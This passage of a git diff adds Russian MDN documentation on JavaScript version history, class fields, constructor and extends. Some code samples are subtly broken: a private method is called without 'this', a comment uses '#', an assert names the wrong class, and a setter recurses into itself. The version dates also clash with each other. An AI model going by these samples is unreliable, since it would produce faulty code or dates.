+ <li><a href="http://kangax.github.io/es5-compat-table/es6" title="http://kangax.github.io/es5-compat-table">Поддержка ECMAScript 2015 в различных браузерах</a></li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/index.html b/files/ru/web/javascript/new_in_javascript/index.html
new file mode 100644
index 0000000000..f01f13834f
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/index.html
@@ -0,0 +1,80 @@
+---
+title: Что нового в JavaScript
+slug: Web/JavaScript/New_in_JavaScript
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<p>{{jsSidebar("New_in_JS")}}</p>
+
+<p>Эта глава содержит информацию об истории версий JavaScript и статусе их реализаций в основанных на Mozilla/SpiderMonkey JavaScript-приложениях, таких, как Firefox.</p>
+
+<h2 id="ECMAScript_versions" name="ECMAScript_versions">Версии ECMAScript</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/Language_Resources">Ресурсы по языку</a></dt>
+ <dd>Узнайте больше о стандартах ECMAScript, на которых основывается язык JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">Поддержка ECMAScript 5</a></dt>
+ <dd>Статус реализации стандарта ECMA-262 5-го издания в Firefox.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">Поддержка ECMAScript 6</a></dt>
+ <dd>Статус реализации стандарта ECMA-262 6-го издания в Firefox.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">Поддержка ECMAScript 7</a></dt>
+ <dd>Статус реализации стандарта ECMA-262 7-го издания в Firefox.</dd>
+</dl>
+
+<h2 id="JavaScript_release_notes" name="JavaScript_release_notes">Замечания к выпускам JavaScript</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Список изменений в JavaScript браузера Firefox</a></dt>
+ <dd>Смотрите этот список изменений, чтобы узнать, какие возможности JavaScript реализованы в Firefox 5 и выше.</dd>
+ <dt>Список изменений в JavaScript браузера Chrome</dt>
+ <dd>(TODO). Смотрите этот список изменений, чтобы узнать, какие возможности JavaScript реализованы в выпусках Chrome.</dd>
+</dl>
+
+<h2 id="JavaScript_versions" name="JavaScript_versions">Версии JavaScript</h2>
+
+<p><strong>Устарело</strong> ({{deprecated_inline}}). Явное версионирование и выбор возможностей языка было особенностью Mozilla и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">она находится в процессе удаления</a>. Firefox 4 был последней версией, ссылающийся на версию JavaScript (1.8.5). С новыми стандартами ECMA возможности языка JavaScript часто упоминаются вместе с их первоначальным определением в изданиях ECMA-262, например, с 6-м изданием (ES6).</p>
+
+<p>JavaScript версии 1.0 был выпущен в марте 1996 года в браузерах Netscape Navigator 2.0 и Internet Explorer 2.0.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>Версия, содержащаяся в браузере Netscape Navigator 3.0. Выпущен 19 августа 1996 года.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>Версия, содержащаяся в браузерах Netscape Navigator 4.0-4.05. Выпущен 11 июня 1997 года.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>Версия, содержащаяся в браузерах Netscape Navigator 4.06-4.7x. Выпущен 19 октября 1998 года.<br>
+ Работа по стандартизации и совместимости с 1-м и 2-м изданиями ECMA-262.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>Версия, содержащаяся в серверном JavaScript Netscape. Выпущен в 1999 году.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>Версия, содержащаяся в браузерах Netscape Navigator 6.0 и Firefox 1.0. Выпущен 14 ноября 2000 года.<br>
+ Работа по стандартизации и совместимости с 3-им изданием ECMA-262.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Версия, содержащаяся в браузере Firefox 1.5. Выпущен в ноябре 2005 года.<br>
+ Включает ECMAScript для XML (E4X), новые методы объекта <code>Array</code>, плюс обобщённые методы объектов <code>String</code> и <code>Array</code>.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Версия, содержащаяся в браузере Firefox 2. Выпущен в октябре 2006 года.<br>
+ Включает генераторы, итераторы, выражения заполнения массива, выражения <code>let</code> и реструктуризующее присваивание.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Версия, содержащаяся в браузере Firefox 3. Выпущен в июне 2008 года.<br>
+ Включает выражения замыкания, выражения-генераторы и метод <code>Array.reduce()</code>.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Версия, содержащаяся в браузере Firefox 3.5. Выпущен 30 июня 2009 года.<br>
+ Включает компилятор TraceMonkey JIT и поддержку родного JSON.</dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Версия, содержащаяся в браузере Firefox 3.6. Выпущен 22 июня 2009 года.<br>
+ Включает только незначительные изменения.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Версия, содержащаяся в браузере Firefox 4. Выпущен 27 июля 2010 года.<br>
+ Включает множество новых возможностей, соответствующих 5-му изданию ECMA-262.<br>
+ Это последняя версия JavaScript.</dd>
+</dl>
+
+<h2 id="Features_still_requiring_version_opt-in" name="Features_still_requiring_version_opt-in">Возможности, всё ещё требующие определённой версии</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">инструкция <code>let</code></a></dt>
+ <dd>Инструкция <code>let</code> требует версии JavaScript 1.7.</dd>
+</dl>
diff --git a/files/ru/web/javascript/reference/classes/class_fields/index.html b/files/ru/web/javascript/reference/classes/class_fields/index.html
new file mode 100644
index 0000000000..ade4b8151f
--- /dev/null
+++ b/files/ru/web/javascript/reference/classes/class_fields/index.html
@@ -0,0 +1,350 @@
+---
+title: Поля классов
+slug: Web/JavaScript/Reference/Classes/Class_fields
+tags:
+  - JavaScript
+  - Классы
+translation_of: Web/JavaScript/Reference/Classes/Public_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<div class="note">Объявление публичных и приватных полей является <a href="https://github.com/tc39/proposal-class-fields">экспериментальной разработкой</a>, предложенной в коммитете стандартов JavaScript <a href="https://tc39.github.io/beta/">TC39</a>. Поддержка браузерами ограничена, но данное нововведение можно использовать посредством транспиляторов (например, <a href="https://babeljs.io/">Babel</a>). Смотрите информацию о совместимости ниже.</div>
+
+<h2 id="Публичные_поля">Публичные поля</h2>
+
+<p>И статические, и публичные поля являются изменяемыми, перечисляемыми, настраиваемыми свойствами. Таким образом, в отличие от приватных полей, они участвуют в прототипном наследовании.</p>
+
+<h3 id="Публичные_статические_поля">Публичные статические поля</h3>
+
+<p>Публичные статические поля полезны тогда, когда необходимо существование одного единственного поля для всего класса, а не для каждого созданного экземпляра по отдельности. Это полезно для кеша, конфигураций или любых прочих данных, которые одинаковы для всех экземпляров.</p>
+
+<p>Публичные статические поля объявляются при помощи ключевого слова <code>static</code>. Они добавляются в конструктор класса во время его создания с помощью <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a>. Доступ также осуществляется через конструктор класса.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static staticField = 'static field';
+}
+
+console.log(ClassWithStaticField.staticField);
+// Ожидаемый вывод: "static field"
+</pre>
+
+<p>Поля без инициализации имеют значение <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static staticField;
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'));
+console.log(ClassWithStaticField.staticField);
+// Ожидаемый вывод: "undefined"</pre>
+
+<p>Публичные статические поля не переопределяются в наследниках класса, а могут быть доступны через иерархию прототипов.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static baseStaticField = 'base field';
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field';
+}
+
+console.log(SubClassWithStaticField.subStaticField);
+// Ожидаемый вывод: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField);
+// Ожидаемый вывод: "base field"</pre>
+
+<p>При определении полей <code>this</code> ссылается на конструктор класса. Также можно обратиться к нему по имени и использовать <code>super</code> для получения конструктора базового класса, если он существует.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static baseStaticField = 'base static field';
+  static anotherBaseStaticField = this.baseStaticField;
+
+  static baseStaticMethod() { return 'base static method output'; }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod();
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField);
+// Ожидаемый вывод: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField);
+// Ожидаемый вывод: "base static method output"
+</pre>
+
+<h3 id="Публичные_поля_экземпляра">Публичные поля экземпляра</h3>
+
+<p>Такие публичные поля имеются у каждого экземпляра данного класса. Объявляя публичные поля, мы можем гарантировать, что поле всегда актуально, а объявление класса является более самодокументированным.</p>
+
+<p>Публичные поля экземпляра добавляются через <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty </a>либо перед тем, как будет исполнено тело конструктора в базовом классе, либо после того, как завершится <code>super()</code> в классе наследнике.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  instanceField = 'instance field';
+}
+
+const instance = new ClassWithInstanceField();
+console.log(instance.instanceField);
+// Ожидаемый вывод: "instance field"</pre>
+
+<p>Поля без инициализации имеют значение <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  instanceField;
+}
+
+const instance = new ClassWithInstanceField();
+console.assert(instance.hasOwnProperty('instanceField'));
+console.log(instance.instanceField);
+// Ожидаемый вывод: "undefined"</pre>
+
+<p>Как и свойства, названия полей могут вычисляться.</p>
+
+<pre class="brush: js notranslate">const PREFIX = 'prefix';
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field';
+}
+
+const instance = new ClassWithComputedFieldName();
+console.log(instance.prefixField);
+// Ожидаемый вывод: "prefixed field"</pre>
+
+<p>При определении полей <code>this</code> ссылается на создающийся экземпляр класса. Как и в публичных методах экземпляра, получить доступ к прототипу базового класса можно с помощью <code>super</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  baseInstanceField = 'base field';
+  anotherBaseInstanceField = this.baseInstanceField;
+  baseInstanceMethod() { return 'base method output'; }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod();
+}
+
+const base = new ClassWithInstanceField();
+const sub = new SubClassWithInstanceField();
+
+console.log(base.anotherBaseInstanceField);
+// Ожидаемый вывод: "base field"
+
+console.log(sub.subInstanceField);
+// Ожидаемый вывод: "base method output"</pre>
+
+<h2 id="Публичные_методы">Публичные методы</h2>
+
+<h3 id="Публичные_статические_методы">Публичные статические методы</h3>
+
+<p>Ключевое слово <code><strong>static</strong></code> объявляет статический метод класса. Статические методы не вызываются из экземпляра, вместо этого они вызывается из самого класса. Чаще всего это какие-либо служебные функции, такие как функции создания или копирования объектов.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p>Статические методы добавляются в конструктор класса с помощью <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a> во время его создания. Эти методы - изменяемые, неперечисляемые и настраеваемые свойства объекта.</p>
+
+<h3 id="Публичные_методы_экземпляра">Публичные методы экземпляра</h3>
+
+<p>Как и следует из названия, публичные методы экземпляра это методы, доступные для вызова из экземпляров.</p>
+
+<pre class="brush: js notranslate">class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world';
+  }
+}
+
+const instance = new ClassWithPublicInstanceMethod();
+console.log(instance.publicMethod());
+// Ожидаемый вывод: "hello worl​d"</pre>
+
+<p>Публичные методы добавляются в прототип класса во время его создания с помощью <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a>. Они изменяемы, неперечисляемы и настраиваемы.</p>
+
+<p>Вы можете использовать генераторы, асинхронные функции и асинхронные генераторы.</p>
+
+<pre class="brush: js notranslate">class ClassWithFancyMethods {
+  *generatorMethod() { }
+  async asyncMethod() { }
+  async *asyncGeneratorMethod() { }
+}</pre>
+
+<p>Внутри методов экземпляра, <code>this</code> ссылается на сам экземпляр.<br>
+ В классах наследниках, <code>super</code> дает доступ к прототипу базового класса, позволяя вызывать его методы.</p>
+
+<pre class="brush: js notranslate">class BaseClass {
+  msg = 'hello world';
+  basePublicMethod() {
+    return this.msg;
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod();
+  }
+}
+
+const instance = new SubClass();
+console.log(instance.subPublicMethod());
+// Ожидаемый вывод: "hello worl​d"
+</pre>
+
+<p>Геттеры и сеттеры это специальные методы, которые привязаны к свойствам класса и которые вызываются, когда к свойсту обращаются или записывают. Используйте <a href="/ru/docs/Web/JavaScript/Reference/Functions/get">get</a> и <a href="/ru/docs/Web/JavaScript/Reference/Functions/set">set</a> для объявления публичных геттеров и сеттеров экземпляра.</p>
+
+<pre class="brush: js notranslate">class ClassWithGetSet {
+  #msg = 'hello world';
+  get msg() {
+    return this.#msg;
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`;
+  }
+}
+
+const instance = new ClassWithGetSet();
+console.log(instance.msg);
+// Ожидаемый вывод: "hello worl​d"
+
+instance.msg = 'cake';
+console.log(instance.msg);
+// Ожидаемый вывод: "hello cake"
+</pre>
+
+<h2 id="Приватные_поля">Приватные поля</h2>
+
+<h3 id="Приватные_статические_поля">Приватные статические поля</h3>
+
+<p>Приватные поля доступны через конструктор внутри объявления самого класса.</p>
+
+<p>Также сохраняется ограничение на вызов статических полей только внутри статических методов.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42;
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);</pre>
+
+<p>Приватные статические поля добавляются в конструктор на этапе оценки класса.</p>
+
+<p>Существует ограничение происхождения приватных статических полей. Только класс, который объявляет приватное статическое поле, может обращаться к нему. Это может привести к неожиданному поведению при использовании <strong><code>this</code></strong>.</p>
+
+<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42;
+    return this.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+assertThrows(() =&gt; SubClass.basePublicStaticMethod(), TypeError);
+</pre>
+
+<h3 id="Приватные_поля_экземпляра_объекта">Приватные поля экземпляра объекта</h3>
+
+<p>Приватные поля объекта объявляются как <strong># names </strong>( произносятся как "hash names"), <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>которые являются идентификаторами с префиксом</span></span></span> #.  # <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>является частью самого имени и также используется для объявления и доступа</span></span></span>.</p>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Инкапсуляция обеспечивается языком.</span></span> <span class="ChMk0b JLqJ4b"><span>Ссылка на # names вне области видимости является синтаксической ошибкой</span></span></span>.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateField {
+  #privateField;
+
+  constructor() {
+    this.#privateField = 42;
+    this.#randomField = 666; # Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField();
+instance.#privateField === 42; // Syntax error
+</pre>
+
+<h2 id="Приватные_методы">Приватные методы</h2>
+
+<h3 id="Приватные_статические_методы">Приватные статические методы</h3>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Как и публичные методы, приватные статические методы вызываются в классе, а не в экземплярах класса.</span></span> <span class="ChMk0b JLqJ4b"><span>Как и приватные статические поля, они доступны только из объявления класса.</span></span></span></p>
+
+<p>Приватные статические методы могут быть генераторами, асинхронными функциями и асинхронными генераторами.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42;
+    }
+
+    static publicStaticMethod() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);
+</pre>
+
+<h3 id="Приватные_методы_экземпляра_объекта">Приватные методы экземпляра объекта</h3>
+
+<p>Приватные методы экземпляра объекта являются методами, доступными в экземплярах класса <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>чей доступ ограничен так же, как и</span></span></span> приватные поля экземпляра объекта.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world';
+  }
+
+  getPrivateMessage() {
+      return #privateMethod();
+  }
+}
+
+const instance = new ClassWithPrivateMethod();
+console.log(instance.getPrivateMessage());
+// expected output: "hello worl​d"</pre>
+
+<p>Приватные методы экземпляра объекта могут быть генераторами, асинхронными функциями и асинхронными генераторами. <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Также возможны приватные геттеры и сеттеры</span></span></span>:</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateAccessor {
+  #message;
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`;
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg;
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world';
+    console.log(this.#decoratedMessage);
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<h3 id="Публичные_поля_класса">Публичные поля класса</h3>
+
+
+
+<p>{{Compat("javascript.classes.public_class_fields")}}</p>
+
+<h3 id="Приватные_поля_класса">Приватные поля класса</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">Семантика всех элементов JS класса</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html
new file mode 100644
index 0000000000..7d7fe14e82
--- /dev/null
+++ b/files/ru/web/javascript/reference/classes/constructor/index.html
@@ -0,0 +1,205 @@
+---
+title: constructor
+slug: Web/JavaScript/Reference/Classes/constructor
+tags:
+  - ECMAScript 2015
+  - ES6
+  - JavaScript
+  - Классы
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<div><code>constructor</code> - специальный метод, служащий для создания и инициализации объектов, созданных с использованием <code>class</code>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Конструктор позволяет произвести начальную инициализацию, которая должна быть выполнена до того, как остальные методы вызваны.</p>
+
+<pre class="notranslate">class Person {
+
+  constructor(name) {
+    this.name = name;
+  }
+
+  introduce() {
+    console.log(`Hello, my name is ${this.name}`);
+  }
+
+}
+
+const otto = new Person('Отто');
+
+otto.introduce();</pre>
+
+<p>Если вы не определили метод constructor, то будет использован конструктор по умолчанию. Если ваш класс базовый, то конструктор по умолчанию пустой:</p>
+
+<pre class="notranslate">constructor() {}</pre>
+
+<p>Если ваш класс является производным классом, конструктор по умолчанию вызывает родительский конструктор, передавая любые аргументы, которые были предоставлены:</p>
+
+<pre class="notranslate">constructor(...args) {
+  super(...args);
+}</pre>
+
+<p>Это позволяет работать код:</p>
+
+<pre class="notranslate">class ValidationError extends Error {
+
+  printCustomerMessage() {
+    return `Проверка не удалась :-( (подробности: ${this.message})`;
+  }
+
+}
+
+try {
+  throw new ValidationError("Не правильный номер телефона");
+} catch (error) {
+   if (error instanceof ValidationError) {
+    console.log(error.name); // Это Error вместо ValidationError!
+    console.log(error.printCustomerMessage());
+  } else {
+    console.log('Не известная ошибка', error);
+    throw error;
+  }
+}</pre>
+
+<p><code>ValidationError</code> классу не нужен явный (explicit) конструктор, потому что не требуется инициализация. Затем конструктор по умолчанию позаботится о инициализации родительского класса <code>Error</code> переданным ему аргументом.</p>
+
+<p>Однако, если определен ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p>
+
+<pre class="notranslate">class ValidationError extends Error {
+
+  constructor(message) {
+    super(message);  // вызов конструктора родительского класса
+    this.name = 'ValidationError';
+    this.code = '42';
+  }
+
+  printCustomerMessage() {
+     return `Проверка не удалась :-( (подробности: ${this.message}, code: ${this.code})`;
+  }
+
+}
+
+try {
+  throw new ValidationError("Не правильный номер телефона");
+} catch (error) {
+   if (error instanceof ValidationError) {
+    console.log(error.name); // Теперь это ValidationError!
+    console.log(error.printCustomerMessage());
+  } else {
+    console.log('Не известная ошибка', error);
+    throw error;
+  }
+}</pre>
+
+<p>В классе может быть только один метод с именем "<code>constructor</code>". Если класс содержит более одного <code>constructor</code>, будет сгенерировано исключение {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_constructor">Использование метода <code>constructor</code></h3>
+
+<p>Данный фрагмент кода взят из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p>
+
+<pre class="brush: js notranslate">class Square extends Polygon {
+  constructor(length) {
+    // Здесь вызывается конструктор родительского класса,
+    // в который передается length в качестве аргументов,
+    // соответствующим полям width и height класса Polygon
+    super(length, length);
+    // Заметка: В производном классе, super() должен вызываться перед тем как
+    // вы сможете использовать 'this'. Иначе будет сгенерировано исключение reference error.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Другой_пример">Другой пример</h3>
+
+<p>Посмотрите на этот отрывок кода.</p>
+
+<pre class="brush: js notranslate">class Polygon {
+  constructor() {
+    this.name = "Polygon";
+  }
+}
+
+class Square extends Polygon {
+  constructor() {
+    super();
+  }
+}
+
+class Rectangle {}
+
+Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+
+console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false
+console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true
+
+let newInstance = new Square();
+console.log(newInstance.name); //Polygon</pre>
+
+<p>Здесь прототип <strong>Square</strong> класса изменен, но в то же время constructor предыдущего базового класса <strong>Polygon</strong> вызывается при создании нового экземпляра <strong>Square</strong>.</p>
+
+<h3 id="Constructors_по_умолчанию.">Constructors по умолчанию.</h3>
+
+<p>Если вы не определите метод constructor, будет использован constructor по умолчанию. Для базовых классов, constructor по умолчанию:</p>
+
+<pre class="brush: js notranslate">constructor() {}</pre>
+
+<p>Для производных классов, constructor по умолчанию:</p>
+
+<pre class="brush: js notranslate">constructor(...args) {
+  super(...args);
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div>
+
+<p>{{Compat("javascript.classes.constructor")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/super">super()</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">Object.prototype.constructor</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/classes/extends/index.html b/files/ru/web/javascript/reference/classes/extends/index.html
new file mode 100644
index 0000000000..df642e9e23
--- /dev/null
+++ b/files/ru/web/javascript/reference/classes/extends/index.html
@@ -0,0 +1,179 @@
+---
+title: extends
+slug: Web/JavaScript/Reference/Classes/extends
+tags:
+  - Классы
+  - Наследование
+  - Расширение
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Ключевое слово <strong><code>extends</code></strong> используется в  <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">объявлении класса</a> или в  <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">выражениях класса</a> для создания дочернего класса.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">class ChildClass extends ParentClass { ... }</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Ключевое слово <strong><code>extends</code></strong> может быть использовано для создания дочернего класса для уже существующего класса или встроенного объекта.</p>
+
+<p>Свойство <strong><code>.prototype</code></strong> родительского класса или объекта должно быть {{jsxref("Object")}} или {{jsxref("null")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_extends">Использование <code>extends</code></h3>
+
+<p>В первом примере создаётся дочерний класс с именем <code>Square</code> от класса с именем <code>Polygon</code>. Этот пример был взят из <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>.</p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // Здесь вызывается конструктор родительского класса,
+    // в который передается свойство length в качестве
+    // аргументов, соответствующих полям width и height,
+    // класса Polygon
+    super(length, length);
+    // Примечание:
+    // В конструкторе класса, метод super() должен быть вызван
+    // перед использованием this. В противном случае, будет
+    // выброшена ошибка.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+}</pre>
+
+<h3 id="Расширение_встроенных_объектов_с_помощью_extends">Расширение встроенных объектов с помощью <code>extends</code></h3>
+
+<p>Этот пример расширяет встроенный объект {{jsxref("Date")}}. Пример взят из <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(source)</a>.</p>
+
+<pre class="brush: js">class myDate extends Date {
+  constructor() {
+    super();
+  }
+
+  getFormattedDate() {
+    var months = [
+      'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
+      'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'
+    ];
+    return this.getDate() + '-' +
+      months[this.getMonth()] + '-' +
+      this.getFullYear();
+  }
+}</pre>
+
+<h3 id="Расширение_null">Расширение <code>null</code></h3>
+
+<p>Расширение {{jsxref("null")}} работает как и с обычным классом, за исключением того, что прототип объекта не наследует {{jsxref("Object.prototype")}}.</p>
+
+<pre class="brush: js">class nullExtends extends null {
+  constructor() {}
+}
+
+Object.getPrototypeOf(nullExtends); // Function.prototype
+Object.getPrototypeOf(nullExtends.prototype) // null
+
+new nullExtends(); //ReferenceError: this is not defined
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'extends')}}</td>
